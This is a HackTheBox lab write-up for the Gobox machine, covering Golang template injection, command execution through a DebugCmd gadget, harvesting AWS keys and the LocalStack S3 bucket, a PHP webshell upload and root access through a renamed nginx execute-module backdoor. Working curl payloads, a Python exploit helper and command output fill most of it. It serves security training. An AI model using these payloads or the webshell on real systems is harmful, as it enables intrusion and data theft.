HTB: Gobox Writeup
Gobox - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Gobox |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 26 Aug 2021 |
| IP Address | 10.129.95.236 |
| Author | ippsec |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Gobox is a medium-difficulty Linux machine that simulates an AWS EC2 environment with S3 integration and custom nginx modules. The machine features two web applications: a static homepage on port 80 and a Golang login portal on port 8080. The initial foothold is achieved by exploiting a Server-Side Template Injection (SSTI) vulnerability in the Golang application’s password reset functionality. By dumping credentials via SSTI and analyzing the leaked source code, attackers can leverage a custom DebugCmd method to achieve remote code execution inside a Docker container. The container has AWS credentials that permit interaction with LocalStack (port 4566), enabling the upload of a PHP webshell to an S3 bucket that serves the port 80 website. Privilege escalation involves discovering a backdoored nginx module (ngx_http_execute_module.so) listening on localhost:8000, which provides root command execution through a renamed trigger parameter.
TL;DR: SSTI in Golang app → credential dump → source code analysis → RCE in Docker → AWS S3 enumeration → webshell upload → www-data shell → nginx backdoor module discovery → root
Reconnaissance
Port Scanning
# Full port scan from jump boxnmap -p- --min-rate 2000 -T4 10.129.95.236Results:
PORT STATE SERVICE22/tcp open ssh80/tcp open http4566/tcp open kwtc # LocalStack (AWS emulation)8080/tcp open http-proxy # Golang web app9000/tcp filtered cslistener9001/tcp filtered tor-orport9002/tcp filtered dynamidService Enumeration
Port 80 - Homepage
# Probe the main websitecurl -s -i http://10.129.95.236/ | head -30The homepage reveals:
- Server: nginx
- Content-Type: text/html; charset=UTF-8
- Page Title:
Hacking eSports | {{.Title}}— the template syntax{{.Title}}suggests server-side template processing - Single static page with no interactive forms
- Appears to be PHP-based (index.php exists)
Port 8080 - Golang Login Portal
# Probe the Golang applicationcurl -s -i http://10.129.95.236:8080/ | head -40Key findings:
- Server: nginx
- X-Forwarded-Server: golang (indicates Golang backend)
- Login form with POST method
- Link to
/forgotpassword reset page
# Check the password reset endpointcurl -sL http://10.129.95.236:8080/forgot/The forgot password page contains a single email input field that submits via POST to /forgot/.
Vulnerability Assessment
- SSTI in Golang Password Reset Form — The
X-Forwarded-Server: golangheader and template syntax hint at potential Server-Side Template Injection - AWS Environment — Port 4566 (LocalStack) suggests S3/AWS integration
- Filtered Ports — Ports 9000-9002 filtered, indicating firewall rules
- Localhost Services — Likely internal services not exposed externally
Initial Foothold
SSTI Discovery and Exploitation
Testing for SSTI
Golang templates use {{ }} syntax. Testing for SSTI:
# Send malformed template syntaxcurl -s -o /dev/null -w "code=%{http_code}\n" \ --data-urlencode "email={{" \ http://10.129.95.236:8080/forgot/# Returns: code=502 (Bad Gateway — template error)The 502 error confirms template processing. In Golang SSTI, {{ . }} dumps the current context:
# Dump context with {{ . }}curl -s --data-urlencode "email={{ . }}" \ http://10.129.95.236:8080/forgot/ | grep "Email Sent"Output:
Email Sent To: {1 ippsec@hacking.esports ippsSecretPassword}Why this works: Golang’s html/template package evaluates {{ . }} as the current context (the struct passed to the template). In this case, the context is a User struct containing ID, email, and password fields.
Credential Harvesting
Credentials obtained:
- Email:
ippsec@hacking.esports - Password:
ippsSecretPassword
Source Code Analysis
# Login with dumped credentialscurl -s -i -c /tmp/cookies.txt \ --data-urlencode "email=ippsec@hacking.esports" \ --data-urlencode "password=ippsSecretPassword" \ http://10.129.95.236:8080/Upon successful authentication, the application returns the complete Golang source code. Key section:
type User struct { ID int Email string Password string}
func (u User) DebugCmd (test string) string { ipp := strings.Split(test, " ") bin := strings.Join(ipp[:1], " ") args := strings.Join(ipp[1:], " ") if len(args) > 0{ out, _ := exec.Command(bin, args).CombinedOutput() return string(out) } else { out, _ := exec.Command(bin).CombinedOutput() return string(out) }}Analysis: The DebugCmd method is a gadget that takes a string, splits it on spaces, treats the first token as a binary and remaining tokens as arguments, then executes via os/exec. This can be invoked through SSTI as {{ .DebugCmd "command args" }}.
Achieving Remote Code Execution
Testing RCE
# Test command execution with 'id'curl -s --data-urlencode "email={{ .DebugCmd \"id\" }}" \ http://10.129.95.236:8080/forgot/ | grep "Email Sent"Output:
Email Sent To: uid=0(root) gid=0(root) groups=0(root)# Check hostnamecurl -s --data-urlencode "email={{ .DebugCmd \"hostname\" }}" \ http://10.129.95.236:8080/forgot/ | grep "Email Sent"Output:
Email Sent To: awsEnvironment Analysis:
- Running as root inside a Docker container
- Hostname is “aws” (simulates EC2 instance)
- Minimal container: no curl, wget, nc, or internet connectivity
Enumerating AWS Credentials
# Dump environment variablescurl -s --data-urlencode "email={{ .DebugCmd \"env\" }}" \ http://10.129.95.236:8080/forgot/ | grep "Email Sent" -A10Reveals AWS credentials in environment:
AWS_ACCESS_KEY_ID=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRzAWS_SECRET_ACCESS_KEY=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRzAlso found in ~/.aws/credentials:
curl -s --data-urlencode "email={{ .DebugCmd \"cat /root/.aws/credentials\" }}" \ http://10.129.95.236:8080/forgot/AWS S3 Enumeration
The container has the AWS CLI installed. Testing LocalStack endpoint:
# Check container networkcurl -s --data-urlencode "email={{ .DebugCmd \"hostname -i\" }}" \ http://10.129.95.236:8080/forgot/# Returns: 172.17.0.2
# List S3 buckets via LocalStack endpoint (172.17.0.1:4566)curl -s --data-urlencode \ "email={{ .DebugCmd \"aws --endpoint-url http://172.17.0.1:4566 s3api list-buckets\" }}" \ http://10.129.95.236:8080/forgot/ | grep "Email Sent" -A5Output:
{ "Buckets": [ { "Name": "website", "CreationDate": "2026-07-21T01:32:58.000Z" } ]}Why this works: LocalStack is a framework that emulates AWS services locally. The container is configured to access it on the Docker gateway (172.17.0.1) on port 4566.
Listing Bucket Contents
# List files in the 'website' bucketEP=172.17.0.1curl -s --data-urlencode \ "email={{ .DebugCmd \"aws --endpoint-url http://$EP:4566 s3 ls s3://website\" }}" \ http://10.129.95.236:8080/forgot/Output:
PRE css/2026-07-21 01:32:58 1294778 bottom.png2026-07-21 01:32:58 165551 header.png2026-07-21 01:32:58 5 index.html2026-07-21 01:32:58 1803 index.phpThe S3 bucket hosts the port 80 website files — we can upload a webshell here.
Uploading Webshell to S3
Due to the limited shell environment (no quotes allowed in DebugCmd), we write a PHP webshell using pipe redirection:
# Create SSTI helper script on jump boxcat > /dev/shm/ssti.py << 'EOF'#!/usr/bin/env python3import sys, urllib.parse, urllib.request, re
TARGET = "http://10.129.95.236:8080/forgot/"
def run(cmd): payload = '{{ .DebugCmd "' + cmd + '" }}' data = urllib.parse.urlencode({"email": payload}).encode() req = urllib.request.Request(TARGET, data=data) html = urllib.request.urlopen(req, timeout=20).read().decode(errors="replace") m = re.search(r"Email Sent To:\s*(.*?)\s*<button", html, re.S) out = m.group(1) if m else "(no match)" import html as _h return _h.unescape(out)
if __name__ == "__main__": print(run(sys.argv[1]))EOF# Write and upload webshell# PHP payload: <?php system($_REQUEST['cmd']); ?># Base64: PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==
python3 /dev/shm/ssti.py \ 'echo PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg== | base64 -d > /tmp/shell.php'
# Verify file was createdpython3 /dev/shm/ssti.py 'base64 /tmp/shell.php'# Output: PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==
# Upload to S3python3 /dev/shm/ssti.py \ 'aws --endpoint-url http://172.17.0.1:4566 s3 cp /tmp/shell.php s3://website/shell.php'Output:
Completed 34 Bytes/34 Bytes (1.6 KiB/s) with 1 file(s) remainingupload: ../../tmp/shell.php to s3://website/shell.phpGetting Shell as www-data
# Test webshellcurl -s "http://10.129.95.236/shell.php?cmd=id"# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Enumerate filesystemcurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=hostname; ls -la /home; find / -name user.txt 2>/dev/null"Output:
goboxtotal 12drwxr-xr-x 3 root root 4096 Aug 26 2021 .drwxr-xr-x 19 root root 4096 Aug 26 2021 ..drwxrwxrwx 5 ubuntu ubuntu 4096 Aug 26 2021 ubuntu
/home/ubuntu/user.txt/var/www/user.txtCapturing User Flag
# Read user.txtcurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=cat /home/ubuntu/user.txt"User Flag: <redacted>
Privilege Escalation
Network Enumeration
# Check listening portscurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=ss -lnpt 2>/dev/null"Output:
State Recv-Q Send-Q Local Address:Port Peer Address:PortLISTEN 0 511 127.0.0.1:8000 0.0.0.0:*LISTEN 0 4096 0.0.0.0:9000 0.0.0.0:*LISTEN 0 4096 0.0.0.0:9001 0.0.0.0:*LISTEN 0 511 0.0.0.0:8080 0.0.0.0:*LISTEN 0 511 0.0.0.0:80 0.0.0.0:*LISTEN 0 511 0.0.0.0:4566 0.0.0.0:*LISTEN 0 128 0.0.0.0:22 0.0.0.0:*Key finding: Port 8000 listening on localhost only.
# Identify the web servercurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=ps -ef | grep -i nginx | grep -v grep"Output:
root 956 1 0 01:32 ? 00:00:00 nginx: master process /usr/sbin/nginxroot 957 956 0 01:32 ? 00:00:00 nginx: worker processroot 958 956 0 01:32 ? 00:00:00 nginx: worker processNginx is running as root — unusual for a production setup.
Nginx Configuration Analysis
# Search nginx configs for port 8000 and unusual directivescurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=grep -rniE \"command|listen 8000\" /etc/nginx/ 2>/dev/null"Output:
/etc/nginx/sites-available/default:66: listen 127.0.0.1:8000;/etc/nginx/sites-available/default:68: command on;The directive command on; is not a standard nginx directive. Investigating further:
# List nginx modulescurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=ls -la /usr/share/nginx/modules/"Output:
total 512drwxr-xr-x 2 root root 4096 Aug 26 2021 .drwxr-xr-x 3 root root 4096 Aug 26 2021 ..-rw-r--r-- 1 root root 163896 Aug 23 2021 ngx_http_execute_module.so-rw-r--r-- 1 root root 27728 May 25 2021 ngx_http_image_filter_module.soThe file ngx_http_execute_module.so is suspicious — this is not a default nginx module.
# Check what modules are loadedcurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=cat /etc/nginx/modules-enabled/50-backdoor.conf"Output:
load_module modules/ngx_http_execute_module.so;NginxExecute Module (Backdoor)
Researching “ngx_http_execute_module” reveals it’s a custom module that allows command execution through HTTP requests. The original project (github.com/limithit/NginxExecute) uses the syntax:
curl -g "http://target/?system.run[command]"However, testing this directly fails. Reverse engineering the module:
# Extract strings from the module to find the actual trigger namecurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=strings /usr/share/nginx/modules/ngx_http_execute_module.so | grep -iE 'run|command' | head -10"Output:
parse_commandippsec.runcommandngx_command_sparse_commandKey finding: The trigger was renamed from system.run to ippsec.run.
Root Command Execution
# Test the backdoorcurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=curl -s -g \"http://127.0.0.1:8000/?ippsec.run[id]\""Output:
uid=0(root) gid=0(root) groups=0(root)Why this works: The nginx master process runs as root, and the ngx_http_execute_module.so module uses popen() or similar to execute commands passed via the ippsec.run parameter. Since the module runs in the context of the nginx master process, all commands execute as root.
Capturing Root Flag
# Read root.txtcurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=curl -s -g \"http://127.0.0.1:8000/?ippsec.run[cat /root/root.txt]\""Root Flag: <redacted>
# Verify root accesscurl -s -G "http://10.129.95.236/shell.php" \ --data-urlencode "cmd=curl -s -g \"http://127.0.0.1:8000/?ippsec.run[ls -la /root]\""Output:
total 76drwx------ 8 root root 4096 Jul 21 01:33 .drwxr-xr-x 19 root root 4096 Aug 26 2021 ..drwxr-xr-x 2 root root 4096 Aug 26 2021 .aws-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc-rw------- 1 root root 33 Jul 21 01:33 root.txtAttack Chain Summary
Nmap Scan (ports 80, 8080, 4566, 9000-9002) ↓SSTI Discovery on Golang /forgot endpoint (port 8080) ↓Credential Dump via {{ . }} → ippsec@hacking.esports / ippsSecretPassword ↓Login → Source Code Disclosure (DebugCmd gadget in User struct) ↓RCE via {{ .DebugCmd "command" }} inside Docker container (root) ↓AWS Credential Enumeration (env vars + ~/.aws/credentials) ↓S3 Bucket Discovery via LocalStack (endpoint http://172.17.0.1:4566) ↓Upload PHP Webshell to s3://website/shell.php ↓Shell as www-data on port 80 host (gobox) ↓User Flag: /home/ubuntu/user.txt ↓Discover localhost:8000 nginx service with 'command on' directive ↓Reverse Engineer ngx_http_execute_module.so → trigger renamed to 'ippsec.run' ↓Root RCE via curl -g "http://127.0.0.1:8000/?ippsec.run[cmd]" ↓Root Flag: /root/root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP request manipulation and webshell interaction |
python3 | SSTI automation helper script |
aws | S3 bucket enumeration and file upload (via LocalStack) |
base64 | Encoding payloads to avoid special characters |
strings | Reverse engineering nginx module to find renamed trigger |
grep | Configuration file analysis |
Key Learnings
Techniques Practiced
- Golang SSTI Exploitation — Using
{{ . }}to dump context and{{ .MethodName "args" }}to invoke methods - Source Code Analysis — Identifying RCE gadgets in leaked application code
- AWS S3 Enumeration — Interacting with LocalStack to list and upload files to S3 buckets
- Docker Networking — Understanding container-to-host networking (172.17.0.0/16)
- Nginx Module Backdoors — Identifying and exploiting custom nginx modules for privilege escalation
- Reverse Engineering — Using
stringsto extract configuration from compiled modules - Constrained RCE — Working within limited shell environments (no quotes, no internet access)
Lessons Learned
-
Template Injection in Golang: Unlike Python/PHP SSTI, Golang templates are strongly typed but can leak sensitive data structures with
{{ . }}and invoke public methods on structs. Always audit template context objects. -
AWS Simulation Environments: LocalStack (port 4566) is commonly used in development/testing to emulate AWS services. Misconfigured containers with AWS credentials can pivot to cloud infrastructure.
-
Docker Gateway Access: Containers typically have network access to the Docker host via the gateway IP (172.17.0.1). Services bound to the host’s
0.0.0.0are reachable from containers unless explicitly firewalled. -
Custom Nginx Modules as Backdoors: Nginx’s modular architecture allows arbitrary C code to execute in the master/worker processes. The
ngx_http_execute_module.somodule is a known backdoor that should be detected in configuration audits. -
Parameter Renaming for Obfuscation: Backdoor developers often rename default parameters (e.g.,
system.run→ippsec.run) to evade detection. Always reverse engineer suspicious binaries rather than relying on public documentation. -
Defense in Depth Failures: This machine demonstrates multiple security failures:
- SSTI in a production login portal
- Credential leakage via template context
- Root-owned Docker containers with excessive privileges
- AWS credentials hardcoded in container environment
- S3 buckets with write permissions from ephemeral containers
- Custom nginx modules running as root
- Each layer could have prevented the full compromise
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — Gobox (ippsec, 26th August 2021): Explanatory reference for Golang SSTI techniques, AWS LocalStack interaction, and NginxExecute module behavior
- Golang SSTI Research:
- NginxExecute Module: https://github.com/limithit/NginxExecute
- LocalStack Documentation: https://github.com/localstack/localstack